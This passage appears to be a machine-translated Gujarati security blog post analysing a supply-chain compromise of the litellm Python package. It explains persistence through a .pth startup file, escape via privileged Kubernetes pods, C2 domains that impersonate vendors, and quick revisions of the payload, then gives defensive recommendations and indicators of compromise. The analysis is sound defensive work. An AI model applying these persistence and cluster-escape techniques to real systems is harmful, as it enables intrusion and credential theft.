આ litellm_init.pth v1.82.8 માં ટેકનિક ખાસ કરીને કપટી છે. પાયથોન .pth માં ફાઇલો site-packages/ દરેક ઇન્ટરપ્રીટર સ્ટાર્ટઅપ પર પ્રક્રિયા કરવામાં આવે છે; કોઈપણ લાઇન જે શરૂ થાય છે import કોડ તરીકે ચલાવવામાં આવે છે. પેલોડને એક સિંગલ પર સાંકળીને import સ્ટેટમેન્ટ મુજબ, હુમલાખોર દરેક પાયથોન પ્રક્રિયા પર એક્ઝેક્યુશન પ્રાપ્ત કરે છે - ફક્ત જ્યારે લિટેલ્મ આયાત કરવામાં આવે છે ત્યારે જ નહીં. આનો અર્થ એ છે કે પેલોડ ફાયર થાય છે ભલે લિટેલ્મ ઇન્સ્ટોલ કરેલું હોય પરંતુ ક્યારેય ઉપયોગમાં ન લેવાય, અને તે સમાધાનને બદલે ઉપાયમાં ટકી રહે છે. .py તપાસ્યા વિના ફાઇલો .pth ફાઈલો.

૩. કુબર્નેટ્સ ક્લસ્ટર-વાઇડ લેટરલ મૂવમેન્ટ વાયા પ્રિવિલેજ્ડ પોડ ડિપ્લોયમેન્ટ (T1610, T1611)

દરેક ક્લસ્ટર નોડ પર વિશેષાધિકૃત પોડ્સનું સ્વચાલિત નિર્માણ — સાથે hostPIDhostNetwork, હોસ્ટ ફાઇલસિસ્ટમ માઉન્ટ, અને chroot પર્સિસ્ટન્સ ઇન્સ્ટોલ કરવા માટે — કન્ટેનર ડિપ્લોયમેન્ટ (T1610) ને એસ્કેપ ટુ હોસ્ટ (T1611) સાથે સાંકળો જેથી એક જ સમાધાન થયેલા વર્કલોડને સંપૂર્ણ ક્લસ્ટર સમાધાનમાં ફેરવી શકાય.

4. વિક્રેતા-દેખાવ આપનાર C2 ઈન્ફ્રાસ્ટ્રક્ચર

મદદથી models.litellm.cloud (લિટેલ્મની નકલ કરે છે) અને checkmarx.zone (ચેકમાર્ક્સની નકલ કરે છે) કારણ કે C2/exfil એન્ડપોઇન્ટ્સ નેટવર્ક મોનિટરિંગથી બચવા માટે રચાયેલ છે. ઇગ્રેસ ટ્રાફિકની સમીક્ષા કરતા SOC વિશ્લેષકો કાયદેસર વિક્રેતા ડોમેન્સ જેવા દેખાતા HTTPS કનેક્શન્સ જોશે.

5. ઝડપી ઇન-ફ્લાઇટ પેલોડ પુનરાવર્તન

આયાત-સમયના અમલીકરણ સાથે v1.82.7 પ્રકાશિત કરવું, પછી 13 મિનિટ પછી સ્ટાર્ટઅપ-સમયના અમલીકરણ સાથે v1.82.8, હુમલાખોરને વાસ્તવિક સમયમાં દેખરેખ અને અનુકૂલન બતાવે છે. સોર્સ કોડમાં સાચવેલ ટિપ્પણી-આઉટ પેલોડ વેરિઅન્ટ્સ (વિવિધ એન્ક્રિપ્શન યોજનાઓ સાથે) ઓપરેશન દરમિયાન સક્રિય વિકાસની પુષ્ટિ કરે છે.

શું કરી શકાય છે

આ હુમલો દરેક સ્તર પર વિશ્વાસનો ઉપયોગ કરે છે: સુરક્ષા સાધનોમાં વિશ્વાસ, પેકેજ રજિસ્ટ્રીમાં વિશ્વાસ, પરિચિત દેખાતા ડોમેનમાં વિશ્વાસ, CI/CD ઓટોમેશન. તેની સામે રક્ષણ મેળવવા માટે આ દરેક વિશ્વાસ સીમાઓને સખત બનાવવાની જરૂર છે:

પેકેજ ગ્રાહકો માટે

  • હેશ દ્વારા પિન ડિપેન્ડન્સી, ફક્ત વર્ઝન દ્વારા નહીં. pip install litellm==1.82.6 --hash=sha256:... જો ચેડા થયેલા વર્ઝન થોડા સમય માટે નવીનતમ વર્ઝન તરીકે દેખાય તો પણ તેને ઇન્સ્ટોલ થવાથી અટકાવી શકાયું હોત.
  • લોકફાઇલ્સનો ઉપયોગ કરો. pip-compilepoetry.lock, અને uv.lock ચોક્કસ આવૃત્તિઓ અને હેશ કેપ્ચર કરો. CI/CD લોકફાઇલોમાંથી ઇન્સ્ટોલ કરવું જોઈએ, ફ્લોટિંગ વર્ઝન સ્પેસિફાયરમાંથી નહીં.
  • માટે મોનિટર .pth ફાઈલો. નિયમિતપણે ઓડિટ કરો site-packages/ અનપેક્ષિત માટે .pth ફાઇલો — તે દરેક પાયથોન સ્ટાર્ટઅપ પર એક્ઝિક્યુટ થાય છે અને એક ઓછી પ્રશંસા કરાયેલી પર્સિસ્ટન્સ મિકેનિઝમ છે.
  • બહાર નીકળવાના નેટવર્ક નિયંત્રણો લાગુ કરો. બહાર કાઢવું models.litellm.cloud અને C2 મતદાન checkmarx.zone ઉત્પાદન વાતાવરણમાં અલોલિસ્ટ-આધારિત ઇગ્રેસ ફિલ્ટરિંગ દ્વારા પકડાઈ શક્યું હોત.

પેકેજ જાળવણી કરનારાઓ માટે

  • પિન CI/CD દ્વારા ક્રિયાઓ commit SHA, ટેગ નહીં. લાઇટએલએલએમ'સ pipeline પિન કરેલા વર્ઝન વગર ટ્રિવીનો ઉપયોગ કર્યો. જો તેમાં સંદર્ભ હોત તો aquasecurity/trivy-action@<commit-sha> ની બદલે @latest, સમાધાન થયેલ ક્રિયા અમલમાં મુકાઈ ન હોત.
  • ટૂંકા ગાળાના, સ્કોપ્ડ પ્રકાશન ટોકન્સનો ઉપયોગ કરો. PyPI ટ્રસ્ટેડ પબ્લિશર્સ (OIDC-આધારિત) અને સ્કોપ્ડ API ટોકન્સને સપોર્ટ કરે છે. PYPI_PUBLISH ટોકનને લાંબા સમય સુધી, અપ્રતિબંધિત પ્રકાશન ઍક્સેસ હોવી જોઈએ નહીં.
  • PyPI પર દ્વિ-પરિબળ પ્રમાણીકરણ સક્ષમ કરો. બધા જાળવણીકારો માટે 2FA જરૂરી છે અને શક્ય હોય ત્યાં હાર્ડવેર સુરક્ષા કીનો ઉપયોગ કરો.
  • પેકેજો પર સહી કરો. સિગસ્ટોર/પીઇપી 740 પ્રમાણપત્રો ગ્રાહકોને ખાતરી કરવાની મંજૂરી આપે છે કે પેકેજ અપેક્ષિત દ્વારા બનાવવામાં આવ્યું હતું CI/CD pipeline, ચોરાયેલા ટોકનવાળા હુમલાખોર દ્વારા નહીં.

પ્લેટફોર્મ ઓપરેટરો માટે (PyPI, npm, GitHub)

  • અસામાન્ય પ્રકાશન પેટર્ન શોધો. ૧૩ મિનિટના અંતરે પ્રકાશિત થયેલા બે નવા સંસ્કરણો, સામાન્ય કરતાં અલગ IP અથવા ટોકનથી, પેકેજ ઇન્સ્ટોલ કરી શકાય તે પહેલાં હોલ્ડ-ફોર-રીવ્યુ અથવા ઓટોમેટેડ સ્કેનિંગ શરૂ કરવા જોઈએ.
  • વિશ્વસનીય પ્રકાશકોના દત્તક લેવાની પ્રક્રિયાને વેગ આપો. OIDC-આધારિત પ્રકાશન પેકેજોને ચોક્કસ ભંડારો અને વર્કફ્લો સાથે જોડે છે, જેનાથી ચોરાયેલા ટોકન્સ મૂળની બહાર નકામા બને છે. CI/CD સંદર્ભ.
  • પ્રકાશન-સમય માલવેર સ્કેનિંગ લાગુ કરો. proxy_server.py માં base64-ડીકોડેડ પેલોડ પ્રકાશન સમયે સ્ટેટિક વિશ્લેષણ દ્વારા શોધી શકાય છે.

ઇકોસિસ્ટમ માટે

  • સુરક્ષા સાધનોને મહત્વપૂર્ણ માળખા તરીકે ગણો. ટ્રિવી અને ચેકમાર્ક્સ KICS લાખો લોકો દ્વારા ઉપયોગમાં લેવાય છે pipelines. તેમના GitHub ક્રિયાઓ તેઓ જે પેકેજો સ્કેન કરે છે તે જ સખતાઈથી સહી, પિન અને મોનિટર કરવા જોઈએ.
  • રનટાઇમ ડિટેક્શનમાં રોકાણ કરો. ફક્ત સ્ટેટિક વિશ્લેષણ દરેક અસ્પષ્ટ તકનીકને પકડી શકતું નથી. પેકેજ ઇન્સ્ટોલનું રનટાઇમ મોનિટરિંગ hooks, અણધાર્યા નેટવર્ક કનેક્શન્સ અને શંકાસ્પદ ફાઇલ એક્સેસ પેટર્ન ઊંડાણપૂર્વક સંરક્ષણ પૂરું પાડે છે.
  • ધમકીની ગુપ્ત માહિતી ઝડપથી શેર કરો. ઝડપી ક્રોસ-વેન્ડર કોઓર્ડિનેશન સાથે લિટેલ્મ માટે 5.5-કલાકનો એક્સપોઝર વિન્ડો ટૂંકો થઈ શક્યો હોત. Xygeni MEW, Socket અને Snyk જેવી ઓટોમેટેડ સ્કેનિંગ સેવાઓએ વિસંગતતા શોધી કાઢી - અવરોધ માનવ પુષ્ટિ અને રજિસ્ટ્રી પ્રતિભાવ સમય છે.

ઉપસંહાર

ટીમપીસીપી ઝુંબેશ એ એક મહત્વપૂર્ણ ક્ષણ છે software supply chain security. પહેલા સુરક્ષા સ્કેનર્સ સાથે સમાધાન કરીને અને ઉચ્ચ-મૂલ્યવાળા AI ઈન્ફ્રાસ્ટ્રક્ચર માટે તેનો ઉપયોગ કરીને, હુમલાખોરોએ દર્શાવ્યું કે સપ્લાય ચેઇન તેની સૌથી નબળી ટ્રાન્ઝિટિવ ડિપેન્ડન્સી જેટલી જ મજબૂત છે, અને તે ડિપેન્ડન્સી એ સુરક્ષા સાધન હોઈ શકે છે જે તમે તમને સુરક્ષિત રાખવા માટે વિશ્વાસ કરો છો.

લિટેલ્મ સમાધાન ખાસ કરીને AI ઈન્ફ્રાસ્ટ્રક્ચર માટેના વધતા જોખમને પ્રકાશિત કરે છે. જેમ જેમ LLM પ્રોક્સી ગેટવે બની જાય છે standard માટે પેટર્ન enterprise AI ડિપ્લોયમેન્ટ, તેઓ એક જ ઘટકમાં API કી, ક્લાઉડ ઓળખપત્રો અને સંવેદનશીલ ડેટાની ઍક્સેસ પર ધ્યાન કેન્દ્રિત કરે છે. તે ઘટક સાથે ચેડા કરવો એ સમગ્ર AI સ્ટેક માટે એક સ્કેલેટન કી છે.

૫.૫-કલાકની વિન્ડો દરમિયાન litellm 1.82.7 અથવા 1.82.8 ઇન્સ્ટોલ કરેલી સંસ્થાઓએ આને સંપૂર્ણ ઓળખપત્ર સમાધાન તરીકે ગણવું જોઈએ: અસરગ્રસ્ત સિસ્ટમો પરના બધા રહસ્યો ફેરવો, કુબર્નેટ્સ ક્લસ્ટરોનું ઑડિટ કરો node-setup-* પોડ્સ ઇન kube-system, કોઈપણ દૂર કરો sysmon.service systemd એકમો, અને તપાસો litellm_init.pth પાયથોનમાં site-packages/ ડિરેક્ટરીઓ. સત્તાવાર ડોકર છબીના વપરાશકર્તાઓ (ghcr.io/berriai/litellm) ને અસર થઈ ન હતી, કારણ કે છબીએ તેની નિર્ભરતાઓને પિન કરી હતી અને એક્સપોઝર વિન્ડો દરમિયાન તેને ફરીથી બનાવવામાં આવી ન હતી.

લેખક વિશે

સહ-સ્થાપક અને CTO

લુઈસ રોડ્રિગ્ઝ Xygeni Security માં સહ-સ્થાપક અને CTO છે. એપ્લિકેશન સુરક્ષામાં 20+ વર્ષથી વધુ અનુભવ સાથે, તેઓ AppSec સુરક્ષા અને અદ્યતન કોડ-વિશ્લેષણ ક્ષમતાઓ પર ધ્યાન કેન્દ્રિત કરે છે જે ટીમોને વાસ્તવિક ડિલિવરી જોખમ ઘટાડવામાં મદદ કરે છે.

 
સ્કા-ટૂલ્સ-સોફ્ટવેર-રચના-વિશ્લેષણ-ટૂલ્સ
તમારા સોફ્ટવેર જોખમોને પ્રાથમિકતા આપો, સુધારણા કરો અને સુરક્ષિત કરો
તમારું મફત ખાતું મેળવો.
કોઈ ક્રેડિટ કાર્ડ જરૂરી નથી.

તમારા સોફ્ટવેર ડેવલપમેન્ટ અને ડિલિવરી સુરક્ષિત કરો

ઝાયજેની પ્રોડક્ટ સ્યુટ સાથે